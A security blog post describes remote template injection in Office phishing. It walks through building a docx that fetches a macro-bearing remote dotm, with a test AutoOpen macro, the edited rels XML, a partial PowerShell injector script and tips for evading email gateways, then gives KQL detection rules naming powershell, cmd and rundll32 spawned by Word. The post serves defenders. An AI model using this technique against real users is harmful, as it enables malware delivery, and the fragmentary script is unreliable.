Ways of phishing 1 - Remote Template Injection

Posted on
phishing office document evasion bypass detection template injection remote macro

Phishing is one of the most used initial access techniques. This is the reason why most of the companies have an adequate solution to mitigate the threat of these e-mails. But this is a constant cat-and-mouse game. As defenders produce clever mitigations, attackers introduce newer yet unseen methods to bypass them. Here, I am going to describe some phishing techniques which I encountered lately (late 2019 – early 2021). All these approaches are going to be ones I felt like are not detected or mitigated properly most of the time.


Some interesting techniques in phishing emails I am going to introduce:

  1. Remote template injection
  2. HTML smuggling in attachment or link
  3. Clickjacking in attached HTML

Recently I have realized that most of my posts are way too long. To prevent this from happening and to be able to update my blog more frequently, I decided to present only the first method here. The other two ways are going to be handled in individual posts in the upcoming weeks.

Remote template injection

Phishing awareness training tends to concentrate on macro-enabled documents as attachments (docm, xlsm, etc). These are the most feared documents because they can execute macros. And as we know macros can contain any malicious code an attacker wants to execute. The above-mentioned training focuses so heavily on these types of files that users often forget that other attachments can be dangerous too. This improper education and the limitations of the different e-mail security solutions are what an attacker tries to exploit with the remote template injection.

How it works

We know, by default a non-macro-enabled file, like docx or xlsx cannot execute a macro. So, it would be trivial to think that we are safe against macros in case of a docx file. Well, not completely. In themselves, they cannot contain a macro, but a malicious actor can inject a link into the code of the docx document. This link can point to an external site where a dotm template can be stored. And this dotm template can indeed contain a macro.

By opening the docx file Office reaches out to the external domain. If Office can do this successfully, then the dotm document will be downloaded and opened inside the other file. After downloading, everything will look the same as it would in case of a macro-enabled document opening.

Multiple steps will require approval from the user. An everyday user – who were taught to focus on the “m” at the end of the filename - won’t have a problem with enabling everything. Based on my research (not a representative corpus) more than twice as many users downloaded a docx attachment than a docm one coming from the same external e-mail, containing the same text. I do not have data of how many of them carried on with the entire process, opened the phishing document, and enabled the macro execution.

Create a document like this

How to create a file like this manually:

  1. Create a dotm file and put some macro code into it. In my case the macro is going to open an explorer.exe on the host.
  2. Upload the dotm to a site where the target host can reach it.
  3. Create a docx file based on a benign template file.
  4. Modify the code of the docx file so it will reference the remote dotm file and not the local one.

File creation with more details:

1: Create the ‘malignant’ dotm file first. This simply can be done by adding a macro to the file. The macro in my case simply opened an explorer, so it is only a test script. I went with this example because I knew opening PowerShell or cmd would trigger an alert in my test environment. I saved it as AutoOpen, so it runs every time the document is opened:

Sub AutoOpen()  
Shell "explorer.exe", vbNormalFocus  
End Sub  

2: Then, upload the dotm file to a server so it can be reached later. A web URL or a WebDAV path can be used to store this template. In my case, I uploaded my dotm file to my website.

3: As a third step, a template-based document is needed. The reason that a template is needed here is that a document created from a template will have the necessary structure. This way only a few values have to be replaced. This is much easier than modifying a non-template-based document to process the remote template.

4: After the file creation is done, only a few values have to be modified. If the document is created from a template, then this is just some string replacement. If the document is not based on a template, then much more steps will be needed (see later). A Docx document is just a zip archive with pre-defined files in it. So, to modify it manually we have to rename it to .zip then extract it. The following info must be modified in the word/_rels/settings.xml.rels file to make our injection work:

target attribute of the node

We need to find the Relationship entry with a Type ending with “attachedTemplate”. The “Target” attribute is the one to change here. Just remove the value and replace it with the URL to the remote template. The file should somewhat look like this:

<?xml version="1.0" encoding="UTF-8" standalone="true"?> 
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">  
  <Relationship TargetMode="External" Target="https://www.forensixchange.com/file_test/macro_template.dotm" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Id="rId1"/>  

comparison of the before and after value

Now I archive the file again (.zip) and change the extension back to .docx. Opening the file after this method reaches out to our webserver, downloads the dotm file then executes the macro stored in the remote dotm file.

Remote Template Injector scripts

On the internet you can find a bunch of scripts (mostly Python codes) which can inject template into a document. However, on my test machine I don’t have Python installed now so I decided to create a quick and simple PowerShell code. It was also a good practice for me. You can download it from gitlab:





   $OutputDoc = $InputDoc  
   $TempFolder = ".\temp_directory"  

#Processing the document  
New-Item -ItemType directory -Path $TempFolder  
Rename-Item -Path $InputDoc -NewName "temp.zip"  
Expand-Archive -Path "temp.zip" -DestinationPath $TempFolder  
Remove-Item "temp.zip"   

$XmlPath = $TempFolder+"\word\_rels\settings.xml.rels"  
[XML]$XmlContent = Get-Content $XmlPath  

#Modifying the content  
foreach($relationship in $XmlContent.Relationships.Relationship){  
   if ($relationship.Type.EndsWith('attachedTemplate'))  
       $relationship.Target = $TargetDot  


Set-Content -Path $XmlPath -Value $XmlContent  

#Recreating document  
Compress-Archive -Path $TempFolder"\*" -DestinationPath ".\temp.zip"  
Remove-Item -Recurse $TempFolder  
Rename-Item -Path "temp.zip" -NewName $OutputDoc  

You just have to provide a document and a link, and the programme is going to replace the necessary string in the word/_rels/settings.xml.rels file. This script only works if your document is already based on a template.

Remote Template Injection into a normal docx

I also created another code. The scripts I found on the internet only worked on files that were created based on a template. They did not work on documents without template file reference in them. Thus, I also created a script that modified the whole file structure. This code can be used when the document was not created based on a template.

This means you can use this latter code to inject a remote template link into any docx document. Because I am not a PowerShell warrior, I used this opportunity to test different PowerShell modules and functions. Thus, the code is also a little bit messy. But it works. On the other hand, I recommend you create a backup of your files before using the script on them. The code can be found on gitlab.

The code is too long so I’m not going to put it here but a few words about it. I did not reverse engineer the file structure of a docx document. I merely created a normal file, then one based on a template. After I had the two files, I extracted them and compared their content. As a result, I found three relevant differences that I incorporated into my script.

1: word/settings.xml

First, there is a difference in the settings.xml file. While the template-based one has a node named “attachedTemplate” in it, the other one does not have this node. So, the first thing my code does is it creates this node with the needed attributes. (However, this injection is done in an ugly way, but I had enough dealing with the messy XML commands with namespaces, so I went with the easy solution.)

On the upcoming images, the left side is the non-template-based document, and the right side is the template-based one.

differences in the word/settings.xml file

2: word/_rels/settings.xml.rel

The second step is to create a settings.xml.rel file in the word/_rels folder of the docx structure. During my tests, I have never seen this file in a non-template-based document. But I could not be sure it is actually never there so my code tries to modify this file and if it is not there then it just creates one.

content of the word/\_rels/settings.xml.rel file

3: docProps/app.xml

This file contains a template name. Based on my tests it can be anything, it does not affect the code execution. Interestingly when you don’t use a template, your document is still going to use a template name. In that case, it is going to be Normal.dotm. This file is also used by red teamers/attackers for permanency, but this post is about a different topic.

Because it does not affect the code you can change it to anything, or you can just ignore the “TemplateName” parameter in the code. If “TemplateName” is empty, this file will not be touched, and the original name will be left intact.

differences in the docProps/app.xml file

As one can see, there are other smaller differences, but I only focus on the ones that affect my test.

Please be aware that this script only works if the input document is not a template-based one. Also, I only created it for docx files.


Since the end of 2019 and through 2020, I encountered this type of injection multiple times in phishing e-mails. In these ‘attacks’ the actor used other interesting techniques too, not related to phishing, but I specifically wanted to focus on the phishing implications in this series.

On the other hand, this is not a new method. The reason I wanted to talk about it is not only the fact that it was used in the last 1-1,5 years. I wanted to write this post because I realized most of the companies do not have proper detections against injection like this and we found these e-mails through post-attack threat hunts.

I also saw analysts ignoring non-macro-enabled files during their investigation when they are looking for macro-based infections. It is good to know, there are still useful information in a docx file when you are hunting for macros.


The reason attackers like to use this method is the fact that it not only tricks our technical security solutions but also abuses improper awareness training. It abuses that the training focuses on file extensions ending with “m”, like docm, dotm. These are the ones, which can execute macros, thus, they are considered more dangerous. Focusing on these extensions can make the user believe anything else is not dangerous, therefore, the user can handle these documents with less attention.

So please, don’t train your users to only focus on macro-enabled documents. At least mention on the awareness-training that every file can be malicious. Or that enabling macro execution is the problem, it does not matter whether it is a macro-enabled file or not.

Also, it can bypass technical security solutions. A lot of static tools (even forensic tools) look for macros in the file, but they do not check URLs in the code of the document. Even if they would check URLs, without downloading the actual malicious template they have no chance of finding the suspicious code.

I created a test document that contained a link to an external template on a non-malicious URL. This external template contained a macro which executed when the file was closed. The macro downloaded a real malware from the internet. Uploading this file to VirusTotal I got a whopping 262 matches. Those two matches were created based on the external links in the document.

Even sandboxes, dynamic tools tend to ignore this external link and template download. Most of them can only detect anything malicious if the macro execution itself is suspicious. During my test, literally none of the security solutions actually reached the point to download the malware at the end (nothing on VT, no sandbox, no security gateway).

It is also easy to bypass e-mail security gateways for an attacker. Since users normally don’t open their e-mails immediately, an attacker can block access to the online template file at first. For example, an attacker sends the file to the user during the night when the user possibly won’t open it. On the other hand, the e-mail security appliance is going to check the mail as it arrives.

Since the template file is not reachable at first, no malicious activity can be detected at this point. It is only a docx document with an unsuccessful template download attempt. After few minutes (or even hours) the attacker can upload the template document to the defined URL. When the user opens the document in the morning, everything will align so the malicious template can be downloaded, and the script will be executed successfully on the machine.

The actor can also remove the file later making further investigation harder for the analysts.

Detection and prevention

1: Defense in depth

It is generally a good idea to implement defense in depth. Remote template injection in itself is not malicious, but the template can contain malicious code. Even if you can’t detect the injection, you can still have proper detections/preventions for the later stages.

For example, most of the EDRs/AVs can block PowerShell or cmd execution from a production application like Word.

A remote template injection-based phishing must go through multiple layers of security. It goes through an e-mail security gateway when it is forwarded to the user. Then, opening it on a machine can trigger security solutions on the host like AV tools, EDRs, etc. When Office reaches out to the internet the request and the response also has to go through firewalls and proxies. The macro execution is also something that can be detected. And this is just an initial phase, there are a lot more steps a malware can do on the machine.

2: Executed process from production application

As I mentioned above this is a step that can be blocked by a lot of security solutions on the host. But even if blocking is not feasible, you can still create your own detection. You just need process execution logging.

It is reasonable to create a list of known LOLBins and shells, and if any of the production applications (Excel, Word, etc) executes any of the item from the list, trigger an alert.

| where TimeGenerated > ago(7d)
| where ParentImage endswith "word.exe"
| where OriginalFileName in~ ("rundll32.exe","powershell.exe","cmd.exe") 

This detection also needs proper whitelisting. While in one environment executing PowerShell from Excel can be a normal behavior, in another environment this can be a reliable sign of infection. Besides that, any LOLBin can be used from a macro to do nasty things on a machine. But alerting on every rundll32 execution from Excel wouldn’t be wise because this is actually a normal behavior. So, test and whitelist before you enable a rule like this.

3: Office reaching out to the internet

It is not specifically rare that one of the Office tools tries to download something from the internet or reaches out for information. But knowing how a template download like this works, having information about the HTTP methods, User Agents and patterns can decrease the False Positive ratio.

The test I carried out for example triggered these events on the proxy:

Order URL Method User Agent Filetype
1 www.forensixchange.com/file_test/ OPTIONS Unknown (Microsoft Office Word 2014) None
2 www.forensixchange.com/file_test/macro_template.dotm HEAD Unknown (Microsoft Office Word 2014) None
3 www.forensixchange.com/file_test/macro_template.dotm GET Unknown (Mozilla/4.0 (compatible; ms-office; MSOffice 16)) Microsoft Word (doc, docx, docm, dotx)
4 www.forensixchange.com/file_test/macro_template.dotm HEAD Microsoft Office Existence Discovery (Microsoft Office Existence Discovery) None

As a first detection attempt, you can trigger on the pattern you see in the table. Head, option, get, head requests towards the same domain with “Office” in the user agent. If you can correlate it with something else, it can be a good detection, but in itself, it will trigger a few times for sure.

Or I tested another detection. With this one, I again covered Office in the User-Agent field and additionally, I checked whether the URL contains the “.dotm” string and I checked whether the downloaded file was a word document (ZScaler has a filetype field with this info in it).

I tested this latter rule in multiple (enterprise) environments, and it triggered approx. 10 times over the last 1 year. From these 10 attempts, 1 was my test and 4 were actually malicious dotm files hosted on a breached site. The remaining traffic was FP. This is something worth triggering on in these environments. But be aware, a template without any extension works just fine. So, your template can be stored on the www.forenxsichange.com/file_test/macro_temp url and it will still work, it does not need a dotm extension at the end. So, this detection can be easily bypassed. (Even though, every phishing docx with remote template injection I have ever investigated used a template with “dotm” extension. So, this bypass is often not used at all.)

You can also create correlation rules instead of atomic rules to find malicious activity. The first part of the correlation rule can be Office reaching out to a website. And the second part can be process execution from Word after a short period. With this we can capture the download and then the execution part. The attacker’s goal is to execute some process so if your logging works well, you should be able to capture this. Unfortunately, a macro can be triggered by document closure. So, if the user closes the document hours or days after the template download, then your rule won’t fire. Again, whitelisting and fine-tuning.

4: Inline sandboxing

Various solutions exist now which can capture downloaded files and detonate them in a sandbox. Downloading files via proxy, moving files through a firewall or just on the network. All of these can be captured and investigated automatically.

An example solution is PA Wildfire (an example not a recommendation). File going through the firewall or proxy can be captured and forwarded to Wildfire sandbox. The sandbox can investigate the file and provide a verdict.

This is a good solution against Remote Template Injection. It is a satisfactory solution because even if the initial docx file arrives via e-mail, the template is still going to be downloaded from the internet. And in a well-managed environment, this download happens through a proxy.

The benefit is obvious, but it also has drawbacks. To prevent business disruption or slowdown these solutions only block file download when the maliciousness has been confirmed. During the evaluation process, the file can be downloaded multiple times without being blocked. Thus, a file during the case of its first occurrence is never going to be blocked. And modifying these files by an attacker is easy, so each document can be linked to an individual template with a unique hash.

The file can still be reported as malicious with a little bit of latency, but at this point, it will be an already opened file with the potential implications.

Here is how you should imageine this method: inline sandbox solution


  • 1.step: E-mail arrives to your E-mail Gateway.
  • 2: E-mail is investigated by your gateway. Some gateway have security capabilities so they can investigate the incoming e-mail. Also, in some cases this security function is in a different appliance. As I mentioned earlier, none of the E-mail security tool I have ever used detected an injected template. (At least my test e-mails were never blocked or marked as suspicious.)
  • 3: E-mail is downloaded to the user’s machine.
  • 4: The injected document is opened by the user on the machine.
  • 5: After the user click on the “Protected View - Enable Editing” button, Word starts to download the template file through the proxy.
  • 6: If there is no blocking on the proxy, it forwards the request to the website.
  • 7: The website sends the template file to the proxy.
  • 8a: The proxy checks if the file is an known or an unknown one. If it is unknown, it will forward the file to a sandbox solution. However, evaluating a file can take a lot of time, so it won’t wait for the response.
  • 8b: Simultaniously, the file is forwarded to the user. To decrease downtime or latency the proxy sends the file to the sandbox and to the machine at the same time. It does not wait for the sandbox to check the file.
  • 9: After user enables macro execution Word executes the code.
  • 10: Later, the sandbox finishes the evaluation and provides a verdict to the proxy.

Also, do not forget to provide a way for your analysts to download this file for investigation. As the file will be blocked after its evaluation.

5: Registry change with “content enabled” value

This is the last rule I want to recommend here but one of the most reliable ones too. Actually, from this list, this is the only signature that triggered TP but nothing else for me in multiple company environments. But this one only works with malicious macros. If you have a different malware hidden in the document it is potentially not going to be captured by the rule.

When a macro is loaded into a document, Office is going to ask you to enable it. Not even remote template injection will bypass this.

And when you enable macro execution, it is going to carry out a change in the registry. The following registry key is going to be modified (in case of a Word file):

\HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\Trusted Documents\TrustRecords

It is going to contain multiple entries. Each entry will have the name of the document file for which we enabled something. For example, if the registry value ends with “10 00 00 00” it means the file is from the internet and we enabled editing. If after this we enable macros in the document too, then the value will be changed to end with “FF FF FF 7F”.

Example: registry values in case of enabled macro execution

From this point on, the detection rule is pretty straightforward. If you see a value with non-macro-enabled file in the name and “FF FF FF 7F” in the value, then there is a huge chance you found something nasty.

If you do any forensics, just be aware that the filename here is the original filename and not the name of the remotely injected document. So, if you have a docm file here, it is not enough to check its macros, you still have to check whether it contains a remote template. Because that remote template can contain other remote macros.

This can be a clever way to trick the analysts to deem a file benign. Just put a non-malicious macro into a document and most of the security guys will only check that macro without paying attention to the possible remote template.

But the detection is not this simple unfortunately. For example, Sysmon does not show you the value of the registry, thus you can’t trigger on that value. A workaround for Sysmon is to trigger if you can see two events for the same file on the same machine. If the file is downloaded from the internet, Word will ask you to Enable Editing, thus leave Protected Mode. This action is also logged in the same registry key, but the value will be different. Only after this can you “Enable Content”, thus, enabling macro execution which will be logged in the registry. So, two changes are going to be carried out. You can even tune this rule to only trigger if the two actions happened close to each other in time.

Also, Sysmon recognizes this registry change as “ProtectedModeExitOrMacrosUsed”. So here are some Sentinel KQL-based rules I’ve tested out already.

| where EventID == "13"
| where RuleName contains "ProtectedModeExitOrMacrosUsed"
| where TargetObject startswith "HKU" and TargetObject !endswith "docm" and TargetObject !endswith "dotm"
| summarize c=count() by Computer, tostring(TargetObject)
| where c >= 2

If you are luckier and your logging tool provides the value too, you can create a more reliable one (pseudo-rule):

| where action == "registry"
| where RegistryKey contains "Trusted Documents\\TrustRecords"
| where RegistryKey !endswith "docm" and RegistryKey !endswith "dotm"
| where RegistryValue endswith "FF FF FF 7F"

Be aware, this detection only works if there is a macro in the remote template. Therefore, it is not specifically there for remote template injection detection, but to detect macro execution from non-macro-enabled document. However, macros can be seen frequently in remote templates.


But as always these are just ideas. A detection that does wonders in one environment can be a mess in another. So, before creating a rule do your due diligence.

Since based on my experience this technique is rarely covered, it is definitely worth having a look at it at your company. You can do a threat hunt; you can create a rule but do not leave this technique completely uncovered.